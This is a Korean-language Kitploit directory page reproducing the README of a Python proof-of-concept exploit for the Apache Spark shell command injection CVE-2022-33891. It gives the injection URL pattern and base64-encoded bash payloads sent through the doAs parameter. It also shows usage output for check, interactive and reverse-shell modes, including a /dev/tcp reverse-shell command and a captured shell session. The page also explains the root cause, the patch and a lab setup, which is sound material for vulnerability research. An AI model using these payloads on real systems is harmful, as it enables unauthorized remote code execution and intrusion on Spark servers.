Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-33891 — Apache Spark 셸 명령 주입 취약점 | Kitploit
도구/GitHubGitHub/huskyhacks/cve-2022-33891
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Apache Spark 셸 명령 주입 취약점

저장소 보기
891734년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-33891

Apache Spark 셸 명령 삽입 취약점

Apache Spark 셸 명령 삽입 취약점을 악용하기 위한 Python POC입니다. 다른 POC들도 몇 개 봤지만 뭔가 매우 수상해 보였습니다. 이건 깔끔하고 단순합니다.

이 익스플로잇/취약점을 발견한 것은 아닙니다. 그냥 커뮤니티를 위해 안전한 POC를 만들고 싶었을 뿐입니다 ^.^

CVE는 Databricks의 Kostya Kortchinsky가 원래 발견했습니다.

2022년 9월 7일 업데이트: 이제 이거 위한 Metasploit 모듈이 나왔습니다! h00die-gr3y가 만들었고 병합되었습니다!

영향을 받는 버전

Apache Spark 3.0.3 및 이전 버전, 3.1.1 ~ 3.1.2 버전, 3.2.0 ~ 3.2.1 버전

취약한 구성 요소

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

예시

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 10초 동안 sleep 합니다

설정

설정 옵션 하나만 변경된 취약한 버전의 Spark가 필요합니다.

  • 의존성 설치: $ pip3 install -r requirements.txt
  • spark/ 디렉터리로 이동합니다.
  • spark/ 디렉터리에 있는 제공된 docker-compose.yml을 사용하여 docker-compose up을 실행합니다. 컨테이너가 뜰 때까지 기다립니다.
  • 새 터미널에서 sudo docker exec -it spark_spark_1 /bin/bash를 입력합니다.
  • 컨테이너 bash 세션에서 다음을 입력합니다: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • 선택적으로 spark-defaults.conf의 내용을 cat으로 확인해 제대로 보이는지 확인합니다.
  • 인터랙티브 bash 셸을 종료하고 docker-compose 프로세스를 Ctl-C 합니다.
  • 컨테이너가 정상적으로 종료되면 docker-compose up을 다시 실행합니다.

사용법

root@kitploit:~
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
              [-lh LISTENINGHOST] [-lp LISTENINGPORT]
              [--check] [--verbose]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is
                        exploitable with a sleep test
  --verbose             Verbose mode

예시

대상이 취약한지 확인:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!

명령 프롬프트 루프에서 명령 실행:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891> 

리버스 셸 실행:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...

...[in the other terminal]...

husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$ 

추가 정보

명령 삽입은 Spark가 ?doAs 매개변수에 전달된 사용자의 그룹 멤버십을 확인할 때 원시 Linux 명령을 사용하기 때문에 발생합니다. Bash 보간이 명령을 실행하고 출력을 id 필드로 보낸 다음 결과 사용자를 조회하려고 시도합니다.

which python을 ?doAs= 사용자 값으로 전달하면 traceback에 다음과 같은 결과가 나타납니다:

root@kitploit:~
...
http://localhost:8080/?doAs=`which%20python`
...

spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`

여기서 Java는 지정된 사용자의 그룹 멤버십을 확인하기 위해 id 명령을 bash -c에 전달하는 것이 가장 좋다고 판단했습니다. 문제는 그것이 또한 명령 삽입을 허용한다는 것입니다. Bash 보간은 주어진 명령을 평가하고 그 결과를 이 출력의 1번째 줄에 출력한 다음 명령의 stdout으로 사용자를 조회하려고 합니다.

/opt/bitnami/python/bin/python이라는 이름의 사용자는 없지만, 그 명령이 Bash에 전달되어 실행되었다는 것을 확실히 의미합니다.

패치된 버전은 이 호출을 bash -c id 대신 /bin/id 명령의 전체 경로를 갖도록 매개변수화합니다.

명령 실행 중에 페이지에 반영되는 것이 없으므로 이는 블라인드 OS 삽입이라는 점에 주목할 만합니다. 명령은 실행되지만, 성공했는지 여부나 대상에 실행 중인 프로그램이 있는지 여부에 대한 표시는 없습니다. 예를 들어, 이 저장소의 docker-compose.yml 파일로 생성되는 컨테이너에는 ping이 없으므로 pingback을 통한 명령 삽입 확인은 작동하지 않습니다. 하지만 그 사실을 알 수 없기 때문에 제대로 작동했는지 계속 고민하게 될 것입니다.

sleep 테스트가 안전한 방법입니다 ^.^

OPSEC

저는 OPSEC 안전성을 위해 단 한 번의 사이클도 사용하지 않았습니다. 레드팀 여러분, 그건 여러분의 몫입니다.

면책 조항

이 POC에는 수동적 열거 기능이 없습니다. 익스플로잇은 블라인드 명령 삽입입니다. 이 스크립트를 대상에 사용한다면 대상에 패킷을 보내는 것입니다. --check 매개변수를 사용하고 대상이 취약하더라도, 취약함을 증명하기 위해 적극적으로 익스플로잇하는 것입니다.

테스트에 민감한 프로덕션 시스템에는 사용하지 마세요. 권한이 없다면 대상에 사용하지 마세요. 이 도구를 어떻게 사용하든 저는 책임지지 않습니다.

라이선스를 확인하세요.

참고 자료

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (이 POC는 사용을 권장하지 않습니다)
도구 다운로드